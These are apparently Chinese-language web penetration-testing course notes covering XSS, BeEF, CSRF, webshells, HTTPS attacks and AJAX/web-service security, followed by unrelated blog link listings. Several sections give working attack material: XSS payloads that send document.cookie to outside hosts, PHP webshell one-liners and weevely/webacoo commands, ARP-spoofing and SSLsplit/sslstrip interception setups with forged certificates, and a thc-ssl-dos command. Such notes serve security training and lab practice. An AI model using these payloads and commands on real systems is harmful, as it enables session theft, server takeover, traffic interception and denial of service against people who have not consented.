• --Ind HTTP Response Splitting Induced code
• --Anchor Use Anchor Stealth payloader (DOM shadows!)
• --Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters
• --Doss XSS Denial of service (server) injection
• --Dos XSS Denial of service (client) injection
• --B64 Base64 code encoding in META tag (rfc2397)
• --Onm ONM - Use onMouseMove() event to inject code
• --Ifr Use <iframe> source tag to inject code
• Low
• Mediam
• High
• htmlspecialchars()
• 输出html编码< > < >
• xsser -u "http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=high; PHPSESSID=d23e469411707ff8210717e67c521a81" --Cem='Mix,Une,Str,Hex'
• 存储型XSS
• 长期存储于服务器端
• 每次用户访问都会被执行javascript脚本
• Name: 客户端表单长度限制
• 客户端、截断代理
• <script src=http://1.1.1.1/a.js></script>
• a.js源码
• var img = new Image();
• img.src = "http://1.1.1.1:88/cookies.php?cookie="+document.cookie;
• DOM型XSS
• 一套JS和其他语言可调用的标准的API
• <script>var img=document.createElement("img");img.src="http://192.168.20.8:88/log?"+escape(document.cookie);</script>
BEEF
• 浏览器攻击面
• 应用普遍转移到B / S架构,浏览器成为统一客户端程序
• 结合社会工程学方法对浏览器进行
• 攻击浏览器用户
• 通过注入的JS脚本,利用浏览器攻击其他网站
• BeEF(Browser exploitation framework)
• 生成、交付payload
• Ruby 语言编写
• 服务器端:管理hooked客户端
• 客户端:运行于客户端浏览器的 Javascript 脚本(hook)
• 攻击手段
• 利用网站xss漏洞实现攻击
• 诱使客户端访问含有hook的伪造站点
• 结合中间人攻击注入hook脚本
• 常见用途
• 键盘记录器
• 网络扫描
• 浏览器信息收集
• 绑定shell
• 与 metasploit 集成
• 演示页面:http://<IP_BeEF_Server>:3000/demos/basic.html
• Details:
• 浏览器、插件版本信息;操作系统信息
• Logs:
• 浏览器动作:焦点变化、鼠标点击、信息输入
• Commands:命令模块
• 绿色模块:表示模块适合目标浏览器,并且执行结果被客户端不可见
• 红色模块:表示模块不适用于当前用户,有些红色模块也可正常执行
• 橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)
• 灰色模块:模块未在目标浏览器上测试过
• 主要模块
• Browsers
• Exploits
• Host
• Persistence
• Network
CSRF
• Cross-site request forgery
• 与XSS经常混淆
• 从信任的角度来区分
• XSS:利用用户对站点的信任
• CSRF:利用站点对已经身份认证的信任
• 结合社工在身份认证会话过程中实现攻击
• 修改账号密码、个人信息(email、收货地址)
• 发送伪造的业务请求(网银、购物、投票)
• 关注他人社交账号、推送博文
• 在用户非自愿、不知情的情况下提交请求
• 业务逻辑漏洞
• 对关键操作缺少确认机制
• 自动扫描程序无法发现此类漏洞
• 漏洞利用条件
• 被害用户已经完成身份认证
• 新请求的提交不需要重新身份认证或确认机制
• 攻击者必须了解Web APP请求的参数构造
• 诱使用户触发攻击的指令(社工)
• Burpsuite CSRF PoC generator
• Post / Get 方法
• 自动扫描程序的检测方法
• 在请求和响应过程中检查是否存在anti-CSRF token 名
• 检查服务器是否验证anti-CSRF token 的名值
• 检查token中可编辑的字符串
• 检查referrer头是否可以伪造
• 对策
• Captcha
• anti-CSRF token
• Referrer头
• 降低会话超时时间
WEBSHELL
• <?php echo shell_exec($_GET['cmd']);?>
• 中国菜刀: http://www.maicaidao.co/
• <?php @eval($_POST['chopper']);?>
• 可能被IDS、AV、WAF、扫描器软件发现查杀
• WeBaCoo (Web Backdoor Cookie)
• 类终端的shell
• 编码通信内容通过cookie头传输,隐蔽性较强
• cm: base64编码的命令
• cn: 服务器用于返回数据的cookie头的名
• cp:返回信息定界符
• 生成服务端
• webacoo -g -o a.php
• 客户端连接
• webacoo -t -u http://1.1.1.1/a.php
• 其他参数
• Weevely
• 隐蔽的类终端PHP Webshell
• 30多个管理模块
• 执行系统命令、浏览文件系统
• 检查服务器常见配置错误
• 创建正向、反向TCP Shell连接
• 通过目标计算机代理HTTP 流量
• 从目标计算机运行端口扫描,渗透内网
• 支持连接密码
• Kali 缺少库
• https://pypi.python.org/pypi/PySocks/
• ./setup.py install
• 生成服务端
• weevely generate <password> b.php
• /usr/share/weevely/b.php
• 客户端连接服务器
• weevely http://1.1.1.1/b.php <password>id
• Help
HTTPS 攻 击
• 全站HTTPS正成为潮流趋势
• 淘宝、百度
• HTTPS的作用
• C I A
• 解决的是信息传输过程中数据被篡改、窃取
• 加密:对称、非对称、单向
• HTTPS攻击方法
• 降级攻击
• 解密攻击(明文、证书伪造)
• 协议漏洞、实现方法的漏洞、配置不严格
• Secure socket layer
• 保证网络通信安全的加密协议
• 1994年由Netscape开发成为统一标准
• 1999年TLS(transport layer security)取代SSL v3
• 近年来发现的SSL协议漏洞使业界认为其漏洞已不可软件修复
• Heartbleed
• POODLE
• BEAST
• TLS 当前最新版本 1.2
• TLS/SSL、HTTPS、HTTP over SSL 通俗上表示同意含义
• SSL/TLS也被用于其他场景的传输通道加密
• 邮件传输(服务器间、客户端与服务器间)
• 数据库服务器间
• LDAP身份认证服务器间
• SSL VPN
• 远程桌面RDP通信过程中的加密和身份认证
• WEB通信中的SSL加密
• 公钥证书(受信任的第三方公钥颁发机构签名颁发)
• VeriSign
• Thawte
• GlobalSign
• Symantec
• 非对称加密算法
• Diffie-Hellman key exchange
• Rivest Shamir Adleman (RSA)
• Elliptic Curve Cryptography (ECC)
• 对称加密算法
• Data Encryption Standard (DES) / 3DES
• Advance Encryption Standard (AES)
• International Data Encryption Algorithm (IDEA)
• Rivest Cipher 4 (RC4)
• WEP、TLS/SSL、RDP、Secure shell
• 单向加密算法(HASH)
• SHA-3已经设计完成,但尚未广泛使用
• SHA-2是TLS 1.2 唯一支持的单向加密算法
• 碰撞攻击针对单向加密算法
• 两个不同的文件生成相同的HASH值
• SSL的弱点
• SSL是不同的对称、非对称、单向加密算法的组合加密实现(cipher suite)
• 协商过程中强迫降级加密强度
• 现代处理器计算能力可以在可接受的时间内破解过时加密算法
• 购买云计算资源破解
• Openssl
• 直接调用openssl库识别目标服务器支持的SSL/TLS cipher suite
• openssl s_client connect www.baidu.com:443
• openssl s_client -tls1_2 -cipher 'ECDH-RSA-RC4-SHA' -connect www.taobao.com:443
• 密钥交换--身份认证--数据加密--HASH算法
• openssl s_client -tls1_2 -cipher “NULL,EXPORT,LOW,DES” -connect www.taobao.com:443 (协商低安全级别cipher suite)
• 可被破解的cipher suite
• openssl ciphers -v "NULL,EXPORT,LOW,DES“
• https://www.openssl.org/docs/apps/ciphers.html
• Openssl需要大量密码学相关知识,命令复杂,结果可读性差
• SSLScan
• 自动识别SSL配置错误、过期协议、过时cipher suite和hash算法
• 默认会检查CRIME、heartbleed漏洞
• 绿色表示安全、红色黄色需要引起注意
• TLS支持的cipher suite
• sslscan --tlsall www.taobao.com:443
• 分析证书详细信息
• sslscan --show-certificate --no-ciphersuites www.taobao.com:443
• SSLyze
• Python语言编写
• 检查SSL过时版本
• 检查存在弱点的cipher suite
• 扫描多站点时,支持来源文件
• 检查是否支持会话恢复
• sslyze --regular www.taobao.com:443
• Nmap
• nmap --script=ssl-enum-ciphers.nse www.taobao.com
• https://www.ssllabs.com/ssltest
SSL中间人攻击
• 攻击者位于客户端和服务器通信链路中
• ARP
• DHCP
• 修改网关
• 修改DNS
• 修改HOSTS
• ICMP、STP、OSPF
• 加密流量
• 攻击的前提
• 客户端已经信任伪造证书颁发机构
• 攻击者控制了核发证书颁发机构
• 客户端程序禁止了显示证书错误告警信息
• 攻击者已经控制客户端,并强制其信任伪造证书
SSL/TLS中间人攻击
• SSLsplit
• 透明SSL/TLS中间人攻击工具
• 对客户端伪装成服务器,对服务器伪装成普通客户端
• 伪装服务器需要伪装证书
• 支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击
• 利用openssl生成证书私钥
• openssl genrsa -out ca.key 2048
• 利用私钥签名生成证书
• openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
• 启动路由
• sysctl -w net.ipv4.ip_forward=1
• Iptables端口转发规则
• iptables -t nat -F
• iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
• iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
• iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
• iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
• iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
• iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
• iptables -t nat -L
• arp欺骗
• arpspoof -i eth0 -t 192.168.1.118 -r 192.168.1.1 // 192.168.1.118为被欺骗的IP地址,192.168.1.1为网关的IP地址(在kali上执行这条指令),意即为发广播告诉192.168.1.118,它的网关地址192.168.1.1对应的mac地址是我的IP的对应的mac地址,这样其网关就被指向了我kali的mac地址,它的流量就会经过我,而这一切在118这台机器上它基本上是察觉不出来的
在192.168.1.118这台机器上使用arp -a命令查看192.168.1.1的网关的mac地址已经变成了kali的mac地址了,这就说明arp欺骗成功了
• 启动SSLsplit
• mkdir -p test/logdir
• sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 // -D 开启DEBUG信息,-l 将连接信息记录到connect.log日志文件,-j和-S为将SSL的信息记录到相对应的目录中(这些目录需要提前创建),-k和-c即指定由上面命令生成的仿造的证书和私钥,ssl 0.0.0.0 8443 tcp 0.0.0.0 8080即监听来自所有HTTPS和HTTP的流量
• 被害者访问taobao、baidu、mail.163.com
• 查看日志和浏览器证书及证书报错信息
• 安装服务器根证书之后再次访问
• iptables 端口转发规则
• iptables -t nat -F
• iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
• iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
• Mitmproxy
• mitmproxy -T --host -w mitmproxy.log
• SSLstrip
• 与前两种工具不同,将客户端到中间人之间的流量变为明文
• sslstrip -l 8080 // 这个代表监听8080端口
SSL/TLS拒绝服务攻击
• thc-ssl-dos
• SSL协商加密对性能开销增加,大量握手请求会导致拒绝服务
• 利用SSL secure Renegotiation特性,在单一TCP连接中生成数千个SSL重连接请求,造成服务器资源过载
• 与流量式拒绝服务攻击不同,thc-ssl-dos可以利用dsl线路打垮30G带宽的服务器
• 服务器平均可以处理300次/秒SSL握手请求
• 对SMTPS、POP3S等服务同样有效
• 缺点:只对IP有效,无法解析域名
thc-ssl-dos -l 1000 192.168.xx.xxx --accept // -l 使用1000个连接,必须带 --accept
• 对策
• 禁用SSL-Renegotiation、使用SSL Accelerator
• 通过修改thc-ssl-dos代码,可以绕过以上对策
补充概念
• AJAX
• Asynchronous JavaScript and XML
• 是一个概念,而非一种新的编程语言,是一种现有技术的组合
• 通过客户端脚本动态更新页面部分内容,而非整个页面
• 降低带宽使用,提高速度
• 提升用户体验
• 后台异步访问
• AJAX组件
• JavaScript:ajax的核心组件,使用XMLHTTPRequest 对象接口向服务器发起请求,接收并处理服务器响应数据
• Dynamic HTML (DHTML)
• 早于AJAX出现,通过javascript、CSS等在客户端修改HTML页面element,缺点是完全依赖客户端代码修改页面,与服务器的交互由JavaScript applets完成,AJAX的XHR弥补了它的缺点(注册用户)
• Document Object Model (DOM)
• 处理html、xml文档对象的框架,DHTML是一个浏览器,DOM作为其一个实现的接口,定义和管理每个页面元素obj的Properties、method、event
• 基于AJAX的WEB应用工作流程
• XMLHTTPRequest API创建对象xmlhttp进行访问
• Xml、json、html、文本、图片
• 多个异步请求独立通信,互不依赖
• AJAX框架
• JQuery
• Dojo Toolkit
• Google web toolkit (GWT)
• Microsoft AJAX library
• 目前没有通用的AJAX安全最佳实践,其攻击面不为大多数人所知
• AJAX的安全问题
• 多种技术混合,增加了攻击面,每个参数都可能形成独立的攻击过程
• AJAX引擎是个全功能的脚本解释器,访问恶意站点可能后果严重,虽然浏览器有沙箱和SOP,但可能被绕过
• 服务器,客户端代码结合使用产生混乱,服务器访问控制不当,将信息泄露
• 暴露应用程序逻辑
• AJAX对渗透测试的挑战
• 异步请求数量多且隐蔽
• 触发AJAX请求的条件无规律
• 手动和截断代理爬网可能产生大量遗漏
• AJAX爬网工具
• ZAP
• 客户端代码审计
• 源码
• Firebug
• WEB Service
• 面向服务的架构(service oriented architecture)便于不同系统集成共享数据和功能
• 尤其适合不想暴露数据模型和程序逻辑而访问数据的场景
• 无页面
• 两种类型的WEB Service
• Simple object access protocol (SOAP)
• 传统的Web service开发方法,xml是唯一的数据交换格式
• 要求安全性的应用更多采用
• RESTful(Representational State Transfer architecture——REST)
• 目前更多被采用的轻量web service,JSON是首选数据交换格式
• WEB Service安全考虑
• 使用API key或session token实现和跟踪身份认证
• 身份认证由服务器完成,而非客户端
• API key、用户名、Session token永远不要通过URL发送
• RESTful默认不提供任何安全机制,需要使用SSL/TLS保护传输数据安全
• SOAP提供强于HTTPS的WS-security机制
• 使用OAuth 或 HMAC进行身份验证,HMAC身份认证使用C/S共享的秘钥加密 API KEY
• RESTful应只允许身份认证用户使用PUT、DELETE方法
• 使用随机token防止CSRF攻击
• WEB Service安全考虑
• 对用户提交参数过滤,建议部署基于白名单的方法
• 报错信息消毒
• 直接对象引用应严格身份验证(电商公司以ID作为主索引)
第十二章 WEB渗透的更多相关文章
- CSS3秘笈:第十二章&第十三章
第十二章 1.网页布局类型 (1)固定宽度 (2)流式 (3)响应式Web设计 2.CSS布局的方法 通过给元素设置一个宽度,将它浮到左侧或右侧,就可以创建一个列(元素后面的文本会环绕浮动的元素,仿佛 ...
- 《Django By Example》第十二章 中文 翻译 (个人学习,渣翻)
书籍出处:https://www.packtpub.com/web-development/django-example 原作者:Antonio Melé (译者注:第十二章,全书最后一章,终于到这章 ...
- Gradle 1.12用户指南翻译——第二十二章. 标准的 Gradle 插件
其他章节的翻译请参见: http://blog.csdn.net/column/details/gradle-translation.html 翻译项目请关注Github上的地址: https://g ...
- 《Django By Example》第十二章(终章) 中文 翻译 (个人学习,渣翻)
书籍出处:https://www.packtpub.com/web-development/django-example 原作者:Antonio Melé (译者注:第十二章,全书最后一章,终于到这章 ...
- 2017.2.13 开涛shiro教程-第十二章-与Spring集成(二)shiro权限注解
原博客地址:http://jinnianshilongnian.iteye.com/blog/2018398 根据下载的pdf学习. 第十二章-与Spring集成(二)shiro权限注解 shiro注 ...
- 2017.2.13 开涛shiro教程-第十二章-与Spring集成(一)配置文件详解
原博客地址:http://jinnianshilongnian.iteye.com/blog/2018398 根据下载的pdf学习. 第十二章-与Spring集成(一)配置文件详解 1.pom.xml ...
- 进击的Python【第十二章】:mysql介绍与简单操作,sqlachemy介绍与简单应用
进击的Python[第十二章]:mysql介绍与简单操作,sqlachemy介绍与简单应用 一.数据库介绍 什么是数据库? 数据库(Database)是按照数据结构来组织.存储和管理数据的仓库,每个数 ...
- python 教程 第二十二章、 其它应用
第二十二章. 其它应用 1) Web服务 ##代码 s 000063.SZ ##开盘 o 26.60 ##最高 h 27.05 ##最低 g 26.52 ##最新 l1 26.66 ##涨跌 c ...
- PRML读书会第十二章 Continuous Latent Variables(PCA,Principal Component Analysis,PPCA,核PCA,Autoencoder,非线性流形)
主讲人 戴玮 (新浪微博: @戴玮_CASIA) Wilbur_中博(1954123) 20:00:49 我今天讲PRML的第十二章,连续隐变量.既然有连续隐变量,一定也有离散隐变量,那么离散隐变量是 ...
随机推荐
- 关于ImageView的几个常见问题
版权声明:本文为xing_star原创文章,转载请注明出处! 本文同步自http://javaexception.com/archives/173 最近几天碰到了ImageView的backgroun ...
- XPath匹配标签使用text()判断获取结果失败/为空的问题及解决方法
XPath当匹配标签判断text()判断内容失败的问题及解决 问题复现 在爬取网站的时候我使用XPath去抓取网页上的内容,XPath表达式来精准获取需要的标签内容. 当我对如下一段html代码编写X ...
- android笔记--Intent和IntentFilter详解
本文转载自:https://www.cnblogs.com/liushengjie/archive/2012/08/30/2663066.html 本文转载自:https://www.cnblogs. ...
- iOS 为何使用runtime方法交换多次后却能按照交换顺序依次执行代码逻辑?
题目: 假设我们有一个ViewController, Category A(ViewController), Category B(ViewController), Category C(ViewCo ...
- 个人项目-WC(C/C++ 兼容Linux和Windows)
一.Github地址 https://github.com/S-TRAVELER/WC 实现的功能: 支持 -c 支持 -w 支持 -l 支持 -s 支持 -a 图形界面 多参数(文件名或通配符表达式 ...
- Python语法速查: 3. 字符串格式化
返回目录 (1)简易字符串格式化 字符串属于不可变序列,只能生成新的,不能改变旧的.“字符串格式化”有点像以前C语言的sprintf,可以将若干变量代入格式化的字符串,生成一个符合要求的新字符串. 转 ...
- linux的路由功能实现
参考URL: https://blog.csdn.net/chengqiuming/article/details/80140768 一,启用Linux的路由转发功能. 二,新建veth pair 三 ...
- Deepin nginx lumen配置
正常安装 sudo apt install nginxsudo apt install php-fpm 启动后将 /etc/nginx/sites-enabled/default 配置文件 copy一 ...
- Java哲学家进餐问题|多线程
Java实验三 多线程 哲学家进餐问题: 5个哲学家共用一张圆桌,分别坐在周围的5张椅子上, 在圆桌上有5个碗和5只筷子(注意是5只筷子,不是5双), 碗和筷子交替排列.他们的生活方式是交替地进行思考 ...
- JVM的类加载过程以及双亲委派模型详解
JVM的类加载过程以及双亲委派模型详解 这篇文章主要介绍了JVM的类加载过程以及双亲委派模型详解,类加载器就是根据指定全限定名称将 class 文件加载到 JVM 内存,然后再转化为 class 对象 ...